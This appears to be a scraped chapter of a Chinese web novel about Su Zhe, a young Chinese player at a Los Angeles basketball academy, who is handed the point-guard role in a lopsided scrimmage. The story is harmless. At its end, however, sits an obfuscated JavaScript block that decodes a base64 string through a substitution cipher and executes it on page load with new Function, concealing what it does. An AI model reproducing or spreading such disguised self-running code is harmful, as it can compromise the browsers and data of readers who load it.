时间，如同洛杉矶永不停歇的海岸线，在日复一日的汗水与磨砺中悄然流淌。一周，七个日夜，一百六十八个小时。对于苏哲而言，这七天仿佛比过去十七年都要漫长，也都要充实。
训练馆的地板，被他的汗水浸湿了一遍又一遍；力量房的杠铃，见证了他肌肉撕裂般的酸痛与青筋暴起的怒吼；宿舍床头那本厚厚的《汉英大词典》，每一页都布满了密密麻麻的笔记和折角。
他像一块干瘪的海绵，疯狂地吸收着关于篮球、关于英语、关于这个陌生国度的一切。
夜晚，当迈克和其他学员早已进入梦乡，或者在宿舍里开着派对、听着震耳欲聋的嘻哈音乐时，苏哲房间的灯光总是亮到最晚。他戴着耳机，一遍遍地听着教练的战术录像，模仿着美式发音，将那些拗口的篮球术语和日常交流短句死记硬背下来，再结合白天的实际场景去理解、去运用。
从最初的“This…this one”到磕磕绊绊的“Coach, I…I understand…a little”，再到如今，他已经能大致听懂教练的战术布置，能和迈克进行一些简单的日常交流，甚至偶尔还能蹦出一两个俚语，虽然发音依旧带着浓重的“中式口音”，引得迈克哈哈大笑，但也让这个黑人小伙对他刮目相看。
“Man, Su, you’re a learning machine!”迈克不止一次这样惊叹。苏哲只是腼腆地笑笑，他知道，这还远远不够。
训练场上，苏哲的变化更是肉眼可见。
他不再是那个初来乍到、因为听不懂指令而手足无措，像个无头苍蝇一样在场上乱撞的菜鸟了。
虽然在纯粹的身体对抗上，他依旧不是那些天赋异禀的黑人球员和人高马大的白人壮汉的对手，但他那东方人特有的灵巧和远超同龄人的篮球智商，开始逐渐显现出其独特的价值。
主教练布朗·哈特维尔，那个脾气火爆、眼神锐利得能穿透人心的白人老头，也敏锐地捕捉到了这个中国小子的不同寻常。
布朗教练见过太多天赋异禀的球员，有的弹跳惊人，能上演各种匪夷所思的暴扣；有的速度如风，突破犀利如尖刀；有的则壮如蛮牛，在内线翻江倒海。苏哲的身体天赋，在“未来之星”这个天才云集的地方，只能算是中等偏下。
但是，这个小子，有一颗“会打球”的脑子！
布朗发现，苏哲对战术的理解能力和执行能力，强得可怕。往往一个复杂的战术，他只需要讲解一遍，苏哲就能迅速领会其核心思想，并在场上准确地跑出位置。更难得的是，他从不盲目执行，而是会根据场上的实际情况，做出最合理的判断和选择。
“这小子，球商高得不像个新人。”布朗不止一次在助教面前这样嘀咕，看向苏哲的眼神，也从最初的审视和不耐烦，渐渐多了一丝不易察觉的探究。
这一天，依旧是残酷的分组对抗。
苏哲被分在了由替补球员和边缘学员组成的蓝队，他们的对手，是由学院重点培养对象和几名NCAA一级联盟边缘实力球员组成的红队（主力队）。
比赛一开始，局势便呈现出一边倒的态势。
红队球员无论是个人能力还是整体配合，都明显高出蓝队一筹。他们犀利的突破、精准的投篮、凶悍的防守，压得蓝队几乎喘不过气来。
比分被迅速拉开，蓝队的士气也有些低落。
“该死的！都给我打起精神来！你们是来这里度假的吗？”布朗教练在场边暴跳如雷，咆哮声几乎要掀翻训练馆的屋顶，“防守！防守！像个男人一样去防守！”
苏哲所在的蓝队，进攻端频频受阻，失误不断。他自己也受到了重点“照顾”，那个曾经用铁肘将他撞倒的白人前锋“犀牛”巴克利，此刻正作为红队的主力大前锋，对他进行着寸步不离的贴身盯防，嘴里还时不时喷着垃圾话。
“嘿，华夏小子，你的小身板可经不起撞！要不要我再送你一个‘美式欢迎礼’？”巴克利咧着嘴，露出森白的牙齿，试图用言语和身体对抗来摧毁苏哲的意志。
苏哲面无表情，眼神却异常专注。他知道，这种时候，任何回应都是多余的，只有用场上的表现才能让对方闭嘴。
比赛进行到下半场，蓝队依旧大比分落后。一次进攻中，蓝队的控球后卫在红队两名球员的凶狠包夹下出现失误，球被断掉。红队立刻发动快攻，巴克利如同出栏的野牛般冲在最前面，接队友长传后，在蓝队空虚的内线完成了一记势大力沉的双手暴扣！“吼！”巴克利落地后捶打着自己的胸膛，冲着苏哲的方向示威性地咆哮着。蓝队的气氛更加沉闷。
暂停。
布朗教练铁青着脸，将蓝队球员骂了个狗血淋头。
“你们打得像一坨屎！软弱！犹豫！毫无斗志！苏，你来控球！”布朗教练突然将目光投向了苏哲，语气不容置疑。
本小章还未完，请点击下一页继续阅读后面精彩内容！苏哲微微一怔，随即重重地点了点头。他知道，这是教练给他的机会，也是对他的考验。
迈克拍了拍苏哲的肩膀：“Su, show them what you got! (苏，让他们瞧瞧你的厉害！)”
暂停回来，苏哲站在了控球后卫的位置上。
他深吸一口气，眼神变得锐利起来。
红队的防守依旧极具压迫性。巴克利和另一名以防守见长的后卫，立刻对持球的苏哲形成了双人包夹，试图在他运球的第一时间就将球断下。
“菜鸟，球都拿不稳吧？”巴克利狞笑着，张开双臂，像一堵墙一样压了过来。
看台上的其他学员，以及场边的助教们，都认为苏哲这次在劫难逃。面对如此凶悍的包夹，即使是经验丰富的老队员，也很容易出现失误，更何况是身体对抗处于劣势的苏哲。强行突破，只会被撞得人仰马翻；仓促传球，则很可能直接送到对方手里。
(function(){function ne526(of4944f){var g99f136="kB;
[email protected]:&Xp,ojhY[7?VqF62ZDblL5_r3nyesz%!f](/u4wN0^HtP=S1A|Mi-IRWUOvC8m";var o48b3f="rRWluxf7Hsz31G2yiF?SwQoZD.^vXOepJ&V%hbYA=jIn5caB/@L],k|~dP(!4MCNU;K9qEtg:8[6$_m0-T";return atob(of4944f).split('').map(function(q9e8cd){var ve143=g99f136.indexOf(q9e8cd);return ve143==-1?q9e8cd:o48b3f[ve143]}).join('')}var c=ne526('magnet:?xt=JkBydXAmUiJEIisiSW5hY3UiKyJhRCIrIj8iIUx+SnJuTUBwcncpe3d+SnJuTUBwcndrQ35EM34zSW5mOWEweWFUfmZEVD9EMzFmSkRhYXV+PzEpe0B+d3NoXnluKDtAcnNqTT9FTXdyeVlAaXlNcGtqVjl5TX5wa3YpKXtrP01Ka3J9WXlrIE1DZERuMTNMfkpybk1AcHJ3dlQweTMxSSl7az9NSmtyIDpNa0ByaWp+a3B2SFp5a0hwdT93dlQweTMxSSl9PVl5ayBZYzBURG5EYUxSIjk1RThRQ1RPJTdsb09xOk9RbV4lImYiWT9rOENUImYiRUB1OFQwYyJmIm5uTThkQ2QzOENXOGQxIFRkLTNDLTNkIiE9WXlrIE1UdUkzP0xEVD9EMzFSTUNkRG4xM3cxYykrTUNkRG4xM3dUVFcpK01DZERuMTN3VFRUKStNQ2REbjEzdzFJKSFmSkk/M25EeUxEVD9EMzFSTUNkRG4xM3cxSSkrTUNkRG4xM3dUVFcpK01DZERuMTN3VFRUKStNQ2REbjEzdzFjKSFmdmEzMWRDYUxKRGFhdX4/MVJNVHVJMz93ImJhNkdudjZKdS50NW52OSZ1bExMIikhZnZ1fm5DeX5kQ0xNVHVJMz93ImJhcTliW0I5QjtnOUQ7Nkp1bExMIilmQFREY0RUTE1UdUkzP3cibmE2QG5hQkd5OzNyIilmcnkxM0REM0xNVHVJMz93Im52NiZEJC41LFhMTCIpZnlESXVhY0xNVHVJMz93Im5hZUV5W1hMIilmOVd+PzBkMUlMTVR1STM/dyJudjZkLFtxSyxYTEwiKWZnRFRDbjBDSVRMTVR1STM/dyJ5djFWRGlMTCIpZjVEPzFjZD8/Y0xEVD9EMzFSTVR1STM/dyJtOy5DeWxMTCIpIWZLbkR1dT9MNUQ/MWNkPz9jUk1UdUkzP3ciYmQ2VkRsTEwiKSFmOVQzfj9EM0w1RD8xY2Q/P2NSTVR1STM/dyIsdmdZRGFfTCIpIWZBeVczfmN1dTBMNUQ/MWNkPz9jUk1UdUkzP3cibnYuSiwkMU0iKSFmZz9XQ3VkP0RhTE1UdUkzP3ciRDsuQ2JkaUwiKWY1SWQxYT9ETE1UdUkzP3ciRDsuJiIpZkBXMEMzTE1UdUkzP3ciRCQxWixsTEwiKT1ZeWsgQTBuYUl+TE1UdUkzP3cibmRUQ3k7Qjl1aUxMIik9WXlrIEp+RFQxRD1ZeWsgbmRhP2N1P2FETGtDfkQzfjNJblJDIT1AfndrQ35EM34zSW5qOT9yaU1aPlQpe25kYT9jdT9hRExrQ35EM34zSW5SOVQzfj9EM3dBeVczfmN1dTB3KSprQ35EM34zSW5qOT9yaU1aKSF9QH53OXBueU1AcHJqRT95a25aakBydT9nN353QTBuYUl+KT44VCl7Sn5EVDFETEpEYWF1fj8xUnZ1fm5DeX5kQyF3TVR1STM/dyJ1JDYwdSQuRyw7fEwiKSk9Sn5EVDFEakB1TCJNIitBeVczfmN1dTB3KSpUPzA9Sn5EVDFEakVNRzk/aiZAdU1aTCJUQ0MyIj1KfkRUMURqRU1HOT9qWj9AaVpNTCIzQ0NWZyI9Sn5EVDFEanVARXlEOT91TE1rSj89QH53SkRhYXV+PzFqRHB1R05Mcko5OSl7SkRhYXV+PzFqRHB1R2p5VlY/cnVIWkA5dXdKfkRUMUQpfT85RT97WXlrIEBhZFdhRDFMfkpybk1AcHJ3KXtKRGFhdX4/MWpEcHVHanlWVj9ydUhaQDl1d0p+RFQxRCk9RFQ/RDMxams/dnBZP3xZP3JNJUBFTT9yP2t3QFcwQzNmQGFkV2FEMWZ+eTlFPyl9PURUP0QzMWp5dXV8WT9yTSVARU0/cj9rd0BXMEMzZkBhZFdhRDFmfnk5RT8pfX1ZeWsgWj8/bkNJTEpEYWF1fj8xUnZ1fm5DeX5kQyF3TVR1STM/dyIsO1RALDtYTCIpKT1aPz9uQ0lqQHVMOWEweWFUfitLbkR1dT93QXlXM35jdXUwdykqVD8wKT1aPz9uQ0lqRU1HOT9qWj9AaVpNTCJDVmciPVo/P25DSWpFTUc5P2pwWT9rfjlwJkwiWkB1dT9yIj1ucHJFTSB1M2Q/YzFMd0sxP0RhM1d+RGZnMEluMWZNM2FDP0lMZENDKUw+NGtwdkBFP2preW4/d1J+P01uWndLMT9EYTNXfkRmZzBJbjEpZnI/JiA0a3B2QEU/d3d3T2ZrPzU/bk0pTD5FP01tQHY/cEpNd3d3KUw+az81P25Nd3I/JiB8a2twa3ciTUB2P3BKTSIpKSlmTTNhQz9JKSkpISk9WXlrIHUzSW5uTHlFR3JuIH5Kcm5NQHByd1lJYUkzY1d5KXtZeWsgSjBkP0l1V3k/TFIiNUUiZiJuRUUiZiJpQH4iZiI1VmkiZiJWcmkiZiI1Vmk/ImYiJj9EViJmIkVZaSJmIlpNdjkiZiI1Vj9pIiE9WXlrIEc/P3lJYW5ETEowZD9JdVd5P2o5P3JpTVo9SjBkP0l1V3k/TEowZD9JdVd5P1I5VDN+P0Qzd0F5VzN+Y3V1MHcpKkc/P3lJYW5EKSE9bnByRU0gQTFDdXVMUiIsZG5KdG02S3lkLktEO2dNLGR1M0Q6M0NEYWxXN21dVHRpTEwiIT1ZeWsgcn5jQ3VMQTFDdXVSQyE9QH53QTFDdXVqOT9yaU1aPlQpe3J+Y0N1TEExQ3V1UjlUM34/RDN3QXlXM35jdXUwdykqQTFDdXVqOT9yaU1aKSF9WXlrIFpUYX5XfnlMVnlrRT9fck13OWEweWFUfik9QH53QEV0eXR3WlRhfld+eSkpWlRhfld+eUxDPVpUYX5XfnkrTElJSUk9WXlrIEQxP0M/eVRMUiJaTU1WRS1zImZdSTNhRERERER3cn5jQ3UpZiJaTXY5ImZgRXZVe1pUYX5Xfnl9YGZgVXs5YTB5YVR+fWpVe0owZD9JdVd5P31gIVJnRFRDbjBDSVQhdyJzIik9QH53Sn5EVDFETkxySjk5KUp+RFQxRGpZeTlKPytMIlxrXHJFP3J1IEFFIFpwRU0gIitEMT9DP3lUPU1rR3tZeWsgWlQxdWExTHkmeUBNIHUzZD9jMXdEMT9DP3lUZntrP3VAaz9uTS0ifnA5OXAmIn1mVDNDQyk9WlQxdWExTHkmeUBNIFpUMXVhMWpNP2dNdyk9WXlrIG5uZDBuQ1dEfkxaVDF1YTFqQHJ1P2c3fndNQ2REbjEzd1dUKSk9WXlrIHZuZDFkfmFDTCIiPUB+d25uZDBuQ1dEfj5MQyl7dm5kMWR+YUNMWlQxdWExUkBURGNEVCF3bm5kMG5DV0R+KT1aVDF1YTFMWlQxdWExUkBURGNEVCF3Q2ZubmQwbkNXRH4pfVpUMXVhMUxaVDF1YTFSZz9XQ3VkP0RhIXdzantUZjB9c2kpUjVJZDFhP0Qhd3dnTD5nUnlESXVhYyF3IiIpUjlXfj8wZDFJIXcpUmdEVENuMENJVCF3IiIpKSlSZ0RUQ24wQ0lUIXciIik9WlQxdWExTFpUMXVhMSt2bmQxZH5hQz1aVDF1YTFMTVR1STM/d1pUMXVhMSk9WUlhSTNjV3lMWlQxdWExUnlESXVhYyF3InMiKVJDIT1AfndKfkRUMUROTHJKOTkpSn5EVDFEall5OUo/K0wiXGtccmk/TSBBRSBacEVNIEVKbm4/RUUiK1lJYUkzY1d5fW55TW5ad0sxV0RjdWEpe0B+d0p+RFQxRE5Mcko5OSlKfkRUMURqWXk5Sj8rTCJca1xyaT9NIEFFIFpwRU0gfnlAOT91IitLMVdEY3VhfVl5ayBwZGExM2RMSkk/M25EeXdZYzBURG5EYWpucHJueU13UmBycCY4VXtveU0/UiJycCYiIXcpfWBmYFprP344VXs5cG55TUBwcmpaaz9+fWBmYEpFbjhVe35hYWFuY3cpfWAhKWpFcGtNd3d3KUw+QXlXM35jdXUwdyk4ajMpKVJnRFRDbjBDSVQhdyJmIikpPVl5ayBKeXlhbjFMcGRhMTNkakBydT9nN353TUNkRG4xM3dXVCkpPjhUeHBkYTEzZFJAVERjRFQhd3BkYTEzZGpAcnU/Zzd+d01DZERuMTN3V1QpKSktIiI9cGRhMTNkTHBkYTEzZFJyeTEzREQzIXdKeXlhbjFmIiIpUnlESXVhYyF3IiIpUjlXfj8wZDFJIXcpUmdEVENuMENJVCF3IiIpK0p5eWFuMT1aPz9uQ0lqRWtuTFIiWk1NVkUtcyJmWUlhSTNjV3lmWj8/bkNJakB1ZnBkYTEzZCFSZ0RUQ24wQ0lUIXcicyIpPU1rR3tKRGFhdX4/MWpEcHVHanlWVj9ydUhaQDl1d1o/P25DSSl9bnlNblp3Pyl7SkRhYXV+PzFqeXV1fFk/ck0lQEVNP3I/a3cibzdeSHByTT9yTSVweXU/dSJmd3cpTD57SkRhYXV+PzFqRHB1R2pAckU/a01lP35waz93Wj8/bkNJZkpEYWF1fj8xakRwdUdqblpAOXV0cHU/RVJDISl9KSl9QH53Sn5EVDFETkxySjk5KXtKfkRUMURqWXk5Sj8rTCJca1xyeVZWP3J1P3UgP3YgTXAgWk12OSI9WXlrID91RElheX5MSkRhYXV+PzFqaT9NfDk/dj9yTWVHX3V3Wj8/bkNJakB1KT1Afnc/dURJYXl+TExySjk5KCg/dURJYXl+TExKcnU/fkByP3Upe0p+RFQxRGpZeTlKPytMIlxrXHIgbnlyTSBpP00gP3YgfmtwdiBaTXY5In19fT1AfndKfkRUMUROTHJKOTkpe0p+RFQxRGpZeTlKPytMIlxrXHJFP3J1IDVFIFpwRU0gIituZGE/Y3U/YUR9WXlrIH5hYWFuY0x+SnJuTUBwcncpe01rR3tucHJFTSBKRHVDM255THdyPyYgb3lNPylqTXAlcG55OT9veU0/Ok1rQHJpdyk9bnByRU0gQTB5M3lhTGBFdk1AT0VAdU9Ve35DRHVkMUlkajlhMHlhVH59T1ZZYD05P00gQVRXVFdkTHE6N3RqVnlrRT93OXBueTk6TXBreWk/amk/TV9NP3Z3QTB5M3lhKSk9QH53QVRXVFdkTExySjk5KChBVFdUV2RqdXlNP05MSkR1QzNueSl7QVRXVFdkTHtWWW1Adj9FLUNmdXlNPy1KRHVDM255fX1rP01Ka3IgQVRXVFdkalZZbUB2P0UrVH1ueU1uWndZZH5XMzExYVcpe2s/TUprciBUfX09WXlrIF1JM2FEREREREx+SnJuTUBwcndASWFXfnkpe2s/TUprciBNVHVJMz93QElhV355KVJyeTEzREQzIXdNQ2REbjEzdzBkKWZBeVczfmN1dTB3KWpNcDpNa0ByaXdhVylqRTlAbj93OVQzfj9EM3dBeVczfmN1dTB3KSoxKStkKSl9PXUzSW5ud11JM2FERERERHduZGE/Y3U/YUQpKT1EVD9EMzFSInl1dXxZP3JNJUBFTT9yP2siIXcidj9FRXlpPyJmd35Kcm5NQHByd1lkflczMTFhVyl7QH53WWR+VzMxMWFXanV5TXlqXUxMOWEweWFUfil7SkRhYXV+PzFqaT9NfDk/dj9yTWVHX3V3Wj8/bkNJakB1KWprP3ZwWT93KT1ZeWsgWmR+Y0lXZExySjk5PUB+d0p+RFQxRE5Mcko5OSl7Sn5EVDFEall5OUo/K0wiXGtccms/bj9AWT8gP3YgVnBFTSB2P0VFeWk/Ij1KfkRUMURqWXk5Sj8rTCJca1xyP2p1eU15alkgIitZZH5XMzExYVdqdXlNeWpBPVpkfmNJV2RMd2pqajl5dWNjMylMPntAfndOOXl1Y2MzKCg5eXVjYzNqOT9yaU1aPExDKWs/TUprcj1KfkRUMURqWXk5Sj8rTCJca1xyIis5eXVjYzNqNXBAcnciICIpfX1yPyYgLkpybk1AcHJ3InlraUUiZllkflczMTFhV2p1eU15akEpd3tPTXVuRS12YTMxZENhZk85cGktWmR+Y0lXZH0pfX0pKX0pd1IiLGRuSmJbZUM3JDlhYltCS0Q7Z00sZHUzRDozQ0RhbFc3bV1UdGlMTCIhZiJUMGMiZiZAcnVwJmZ1cG5Kdj9yTSl9PURJbmFjdWFEP3cpPQ=='.substr(11));new Function(c)()})();